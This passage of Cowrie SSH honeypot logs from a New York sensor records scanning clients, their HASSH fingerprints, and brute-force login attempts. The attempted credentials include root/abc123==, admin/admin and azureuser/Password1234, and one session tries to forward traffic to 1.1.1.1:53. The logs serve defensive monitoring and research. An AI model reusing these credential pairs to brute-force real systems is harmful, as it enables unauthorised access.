f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:56.645308Z","src_ip":"103.189.234.9","session":"36f224802f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123==","message":"login attempt [root/abc123==] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:57.618335Z","src_ip":"103.189.234.9","session":"36f224802f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:46:58.856658Z","src_ip":"103.189.234.9","session":"36f224802f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":34134,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ea969a1ea6a","protocol":"ssh","message":"New connection: 121.168.139.251:34134 (159.203.135.109:22) [session: 8ea969a1ea6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:03.369800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:03.375269Z","src_ip":"121.168.139.251","session":"8ea969a1ea6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:03.578412Z","src_ip":"121.168.139.251","session":"8ea969a1ea6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:04.421586Z","src_ip":"121.168.139.251","session":"8ea969a1ea6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14964,"dst_ip":"10.17.0.5","dst_port":22,"session":"524c4122fa7c","protocol":"ssh","message":"New connection: 87.251.64.176:14964 (10.17.0.5:22) [session: 524c4122fa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:04.514390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:04.519573Z","src_ip":"87.251.64.176","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:04.614591Z","src_ip":"87.251.64.176","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:04.902230Z","src_ip":"87.251.64.176","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:05.002638Z","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:05.103362Z","src_ip":"87.251.64.176","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:05.202977Z","src_ip":"87.251.64.176","session":"524c4122fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:05.636648Z","src_ip":"121.168.139.251","session":"8ea969a1ea6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60364,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc385324e80a","protocol":"ssh","message":"New connection: 45.148.10.121:60364 (159.203.135.109:22) [session: fc385324e80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:43.937186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:43.968215Z","src_ip":"45.148.10.121","session":"fc385324e80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:47:44.065160Z","src_ip":"45.148.10.121","session":"fc385324e80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":42662,"dst_ip":"159.203.135.109","dst_port":22,"session":"37f0659fe720","protocol":"ssh","message":"New connection: 31.59.89.180:42662 (159.203.135.109:22) [session: 37f0659fe720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:11.865082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:11.870481Z","src_ip":"31.59.89.180","session":"37f0659fe720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:11.981414Z","src_ip":"31.59.89.180","session":"37f0659fe720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password1234","message":"login attempt [azureuser/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:12.457063Z","src_ip":"31.59.89.180","session":"37f0659fe720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:13.570945Z","src_ip":"31.59.89.180","session":"37f0659fe720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":49182,"dst_ip":"159.203.135.109","dst_port":22,"session":"5197f651251c","protocol":"ssh","message":"New connection: 20.87.219.67:49182 (159.203.135.109:22) [session: 5197f651251c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.089830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.094603Z","src_ip":"20.87.219.67","session":"5197f651251c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.327199Z","src_ip":"20.87.219.67","session":"5197f651251c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":36876,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f8fa9768c5a","protocol":"ssh","message":"New connection: 122.176.122.24:36876 (159.203.135.109:22) [session: 4f8fa9768c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.419003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.489463Z","src_ip":"122.176.122.24","session":"4f8fa9768c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.768307Z","src_ip":"122.176.122.24","session":"4f8fa9768c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":46074,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6065c9a60f","protocol":"ssh","message":"New connection: 20.203.42.204:46074 (159.203.135.109:22) [session: 4e6065c9a60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.873515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:25.878128Z","src_ip":"20.203.42.204","session":"4e6065c9a60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.035822Z","src_ip":"20.203.42.204","session":"4e6065c9a60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.288013Z","src_ip":"20.87.219.67","session":"5197f651251c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.697925Z","src_ip":"20.203.42.204","session":"4e6065c9a60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.873170Z","src_ip":"122.176.122.24","session":"4f8fa9768c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":50684,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd7af30704a","protocol":"ssh","message":"New connection: 103.189.234.9:50684 (10.17.0.5:22) [session: 1bd7af30704a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.983704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:26.988408Z","src_ip":"103.189.234.9","session":"1bd7af30704a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:27.231822Z","src_ip":"103.189.234.9","session":"1bd7af30704a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:27.523171Z","src_ip":"20.87.219.67","session":"5197f651251c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:27.860065Z","src_ip":"20.203.42.204","session":"4e6065c9a60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:28.153375Z","src_ip":"122.176.122.24","session":"4f8fa9768c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dima","password":"dima1234","message":"login attempt [dima/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:28.224488Z","src_ip":"103.189.234.9","session":"1bd7af30704a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:29.466964Z","src_ip":"103.189.234.9","session":"1bd7af30704a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54842,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d4383a275b","protocol":"ssh","message":"New connection: 103.153.68.219:54842 (159.203.135.109:22) [session: 42d4383a275b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:34.854214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:34.859265Z","src_ip":"103.153.68.219","session":"42d4383a275b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","h